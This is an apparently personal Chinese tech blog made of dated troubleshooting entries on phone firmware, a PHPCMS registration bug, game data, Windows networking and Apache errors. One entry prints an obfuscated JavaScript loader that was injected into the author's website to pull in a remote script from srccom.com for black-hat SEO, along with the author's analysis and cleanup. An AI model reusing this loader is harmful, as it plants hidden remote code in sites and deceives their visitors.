Day 2687 Motorola Milestone 3 充电指示灯

battd_replace

手机出问题了,重新刷了一遍系统,找ROM的时候看见一个小东西,终于知道原来USB口旁边那个小点不是没用的,而是充电灯,只是MOTO给屏蔽掉了(一说充电异常会亮但没见过),文件据说是Defy上来的,实装后充电时效果图如上(右边亮的是从没用过的MiniHDMI)。

修改方法:将附件中的battd复制到/system/bin,注意备份源文件,并将权限修改为一致的rwxr-xr-x(755)。

推荐修改完毕后:
1、清空/data/battd下的内容(不要直接删除目录);
2、删除/data/system/batterystats.bin;
3、重启手机。

bin文件:battd_from_defy.7z

Day 2682 PHPCMS v9 会员注册总提示【请输入正确的手机号码】

单位要求一周内写出一个略有规模的网站来,从头写又要防范太多问题是要死人的,于是用PHPCMS v9垫底。

在重写会员注册模板时出现一个问题:手机号(字段名mobile)原则上是可选项,但无论是否POST上去mobile值,都提示【请输入正确的手机号码】。百度没有任何结果(请别吐槽,Google搜索大陆only的东西真的不大行)只好自己想办法,最后在modules\member\index.php的第115行发现问题:

if(isset($model_field_cache['mobile']) && $model_field_cache['mobile']['disabled']==0)

这一行的上方写的是【查看当前模型是否开启了短信验证功能】,一开始被这行字误导,根本没有向下看,后来逐行脑内运行的时候才发觉这里有问题,如果当前模型有mobile字段且没有禁用,那么前台没有提交info[mobile]时,下面的代码就会出问题:

$mobile = $_POST['info']['mobile'];
if(!preg_match('/^1([0-9]{10})/',$mobile)) showmessage(L('input_right_mobile'));

前台就算提交了input name为info[mobile]的值也没有用,不知道是不是我的理解有误([‘info’][‘mobile’]看起来应该不是info[mobile]),不过PC官方论坛上有人用原始版本关闭短信验证也会出现这个问题,所以更像是原版程序的纰漏。

不知道PC v9当时设计时为什么把短信验证是否开启用这两个条件(模型mobile字段是否存在并且没有禁用)作为判断条件?不应该是调取后台【会员模块配置】的【手机强制验证方式】的值嘛?

修改方法:对于不需要短信验证的站点,将判断条件随便改一下(比如…[‘disabled’]改成 != 0)即可。目前时间紧,没有时间研究真正应该使用的条件,先这样。

Day 2619 洛奇割羊毛新方法:用砸的

mabinogi_wool_collecting_by_hunting4月4日更新后,新开了收集彩蛋的活动,持有篮子追击兔子即可获取彩蛋。

该篮子归属剑类别,所以在剑精通未满的人物上会显示剑精通获得经验,但YY上有人发现了新用途:剪羊毛!

而且剪羊毛的动作和打铁一样!SE也是打铁的声音!可怜的羊……

于是去查了一下彩蛋篮和铁匠榔头的属性:

铁匠榔头:

/equip/righthand/tool/blacksmith/blunt/steel/hammer/02/weapon/Blacksmith_Hammer/smith_repairable/not_ego/

彩蛋篮子:

/equip/righthand/weapon/edged/steel/blade/no_scale/not_dropable/destroyable/not_dyeable/not_enchantable/expiring/not_holyfire/onlybaseattack/misc_repairable/

二者重合的属性有equip(装备)、righthand(装备到右手)、steel(铁的),并无其它交集,猜测彩蛋篮子可以采集是出于weapon(武器)属性,而敲打声来自steel(铁的),至于挥舞的动作,如果打铁属于采集大类下的动作,那么也可以用steel解释得通。

Day 2615 洛奇skillinfo、skillleveldescription XML浅析

给自己写的东西留个纪念

前阵子一时兴起,折腾了一个本地化的技能小册子,因为网上基本查不到公开的内容,所以数据靠自己解析,幸好是XML,相对不难。

不过后来写着写着被洛奇数据的诡异弄烦了,决定放弃,顺便把过往经验留一下,做个参考。
老实说我也不知道整理这个有什么用,就当消磨时间吧。 继续阅读 “Day 2615 洛奇skillinfo、skillleveldescription XML浅析”

Day 2502 一年多了才看见的黑帽SEO

晚上无聊,点到自家单位的网站,等待加载的时候发现一个没见过的域名【srccom.com】,印象中自己好像没有加过类似的代码,于是开始倒查,发现调用的代码来自这个JS(由于问题已经处理,所以文件已经变成404):

文件内容如下:

function CurrentXmlFrmFocus()
{
 	var arnElement=[2,9,3,8,2,8,7,5,4,3,10,5];
 	var arsOffset=[" ",":",".","/","<",">","=","'","SRC","COM","SCRIPT","HTTP"];
 	var ardPopOpacity=[4,10,0,8,6,7,11,1,3,3,8,9];
 	var strgAttribute="";ardPopOpacity=ardPopOpacity.concat(arnElement);
 	for(var i=0;i<ardPopOpacity.length;i++)strgAttribute=strgAttribute+arsOffset[ardPopOpacity[i]];document.writeln(strgAttribute);
}
CurrentXmlFrmFocus();

绕了个弯子,稍微分析一下的话,是向当前页写入以下一行代码:

<script src=”http://srccom.com/src.src” />

于是反向访问过去,冒出一大堆代码:

由于之前也被别人写入过SEO的代码,猜测可能是一样的东西,所以没有细看,选了一个关键字在网上搜了一下,果然是做黑帽SEO的淘宝客(介绍文章在这里)。

删掉对应页面中的调用代码,然后立即回到服务器上看修改时间,发现是去年11月写入的,想起那次所在的主机被人给旁注了,应该不是自己的问题,松口气。

Day 2501 Avast与tcpip.sys

最近一次更新过病毒库之后,许多办公室被修改过连接数限制的tcpip.sys被Avast认作了【Win32/Malware-gen】,搞笑的是来源进程是Avast自己的AvastSvc.exe,当然试图操作tcpip.sys的文件也会引起警告。此时如果将文件进行移入隔离区、删除等操作,理所当然地系统就会无法上网,特征为【本地连接】中连接信息显示为空,发送、接收字节持续为0,以及尝试修复的时候显示【获取该连接的TCP/IP属性失败】等。

经过搜索找到一种重装TCP/IP协议的做法,简述如下:

1、启动注册表编辑器,删除以下项:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Winsock

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Winsock2

2、查找【C:\Windows\inf\nettcpip.inf】(如系统目录不同,请自行修改),找到以下内容:

Characteristics = 0xA0

将后面的0xA0修改为【0x80】。

3、打开【本地连接】属性,选择【安装】【协议】,点击【从磁盘安装】,定位到【C:\Windows\inf\nettcpip.inf】打开,然后安装提示【这个驱动没用进行数字签署】的【Microsoft TCP/IP协议】。

4、回到【本地连接】属性窗口,选择【TCP/IP协议】,点击【卸载】按钮将其删除,并按照提示重新启动计算机。

5、重启完成后,再次打开【本地连接】属性,重复第三步将TCP/IP协议安装回来即可。

P.S.建议不要直接使用netsh winsock reset,可能会引起更严重的问题。

Day 2495 Windows Fundamentals for Legacy PCs

在看Wiki的词条时发现微软曾经出过这么一个版本:Windows Fundamentals for Legacy PCs,简称WinFLP,乃是为XP年代不足以升级的PC提供的版本,并且只以授权形式提供给客户而不在市场上出售,本质上是官方精简的、带SP2的XP。

搜了一下找到了ISO,有两个文件,WFLP2k6.iso是系统安装盘WFLPMUI1.iso则是语言包

继续阅读 “Day 2495 Windows Fundamentals for Legacy PCs”

Day 2478 Windows Update 0x80070490

服务器上安装了Windows Server 2008(不是r2),最近在更新完SP2后,一直卡在KB967723和KB2443685上动弹不得,点击安装,过会儿就会失败,反复如此。众所周知服务器不打补丁不是个事儿,于是上网搜索解决方案。
首先再次证明了百度在解决技术问题时真的sucks,本来寄希望于能找到中文解答方案的,有了前车之鉴,第一页没有就换Bing了(因为最近有个数字很大,Google受其原力影响暂时被压制中)。在微软社区的这篇帖子内找到一种方法:

我也遇到这个问题。刚出现这两个更新的时候我就觉得很奇怪:因为这两个更新的发布日期是9月份,KB上也没说进行过版本更新。我就在“已安装更新列表”中找,果然发现早就安装好了。在Windows Update中,这两个更新硬是装不上,反复提示错误代码80070490。抱着试试看的想法,我先在“已安装的更新”中找到这两个更新,卸载。再从Windows Update中安装,一切搞定。再次搜索更新,这两个更新再也没出现。问题至此解决。
但到底是如何产生的,目前还没想明白。之前装过一个英语语言包,不知道同这又没有关系。

按照这个方法,还真在「已安装的更新」里面找到了这两个KB,卸载之,但继续安装的时候仍然提示失败,错误代码都没变,重启依旧。由于已经到了下班时间,遂决定明天过来解决。
今天一上班,发现Windows Update中的更新由2个变成了60个,再次安装顺利通过,不知道是不是系统刷新了需要安装的补丁列表的缘故?

Day 2476 CDNZZ邀请码

换主机之后一直遭受功夫之苦,于是转了半天找到CDNZZ,目前使用中。
这年头找个免费且靠谱的CDN不容易,所以把自己的邀请码在这里放一下,有需要请拿走。

508031626298 ← 不知道谁用了没说话
508028933159
508094364389
508045665108
508062627063
508067056364
508031227315
508069183162
508076712505
508079450291

P.S.虽然不知道会不会有人搜到这里,不过如果有人使用了以上邀请码,请在下方评论告知,以便标记为已使用,谢谢!

Day 2468 Apache Win32DisableAcceptEx

前阵子以及今天,单位的两台使用Apache的服务器相继在error log里冒出10038错误「在一个非套接字上尝试了一个操作」的记录,前一台服务器在按照重置Winsock之后成功解决,后一台因为需要保持其上运行的一些应用在线,所以想尽量保持服务器开机状态,于是上网找方法。
一番搜寻后,基本上都是如下的解决方案(这次百度居然也不是只有垃圾回答了;另外文章里出现的排版错误和书写错误都没有修改,「尊重」原文):

  在网上查了一下,发现很多人碰到这个情况,原因是Apache 的AcceptEx在window下会出现这种问题,只在APAche2.0.49以上版本会有这中问题。 《Apache 2_2 中文版参考手册》上说:“AcceptEx()是一个微软的WinSock2 API ,通过使用BSD风格的accept() API提供了性能改善。一些流行的Windows产品,比如防病毒软件或虚拟专用网络软件,会干扰AcceptEx()的正确操作。如果你遇到类似于如下 的错误:一般的解决办法是关闭 AcceptEx()”。也就是说,可能是 Windows Update 或是防火墙、防毒软件更新了某些网络原件,造成 Microsoft WinSock v2 API 动作不正常,会干扰WinSock2 API,就会影响AcceptEx()的正确操作,就可能出现上面所出现的问题。但是关闭会影响Apache的性能。需要自己权衡利弊。因此如果没有什么 错误发生,最好还是不要随便关闭这个功能比较好吧。
解决办法:在httpd.conf文件中添加 Win32DisableAcceptEx 标记,如下:
<IfModule mpm_winnt.c>
ThreadsPerChild 1000
MaxRequestsPerChild 10000
Win32DisableAcceptEx
</IfModule>
这样可以允许并发连接更大一些。同时性能上也不会有明显的降低. 一般,这样设置基本就能搞定,但是我碰到的情况,就是想上面那样关闭AcceptEx,也会出现类似问题,Apache还是不能正常运作, error.log 出项了大量的:Sat Dec 24 17:21:28 2006] [warn] (OS 64)指定的网络名不再可用。 : winnt_accept: Asynchronous AcceptEx failed.。又找了一下,发现了如下的一种解决办法,我试了试,果然可以,而且在多台服务器上试过,只要出现了AcceptEx 的问题,就能解决,具体设置为: 1、网上邻居-;本地连接-;属性-;internet协议(TCP/IP)-;属性-;高级-;wins标签-;去掉启用LMhosts查询前的勾. 2、控制面版-;windows防火墙-;高级标签-;本地连接设置-;服务的标签里勾选安全Web服务器(HTTPS)。 3、然后退出Apache,再打开启动就可以了 ,一开始我没有退出,直接在那重启,就是不可以,一定要先停止,在开启即可。

不过这样修改之后并没有解决问题,连后面对本地连接和防火墙的修改也做了。疑惑之下,为了尽快处理,还是使用netsh winsock reset解决了问题。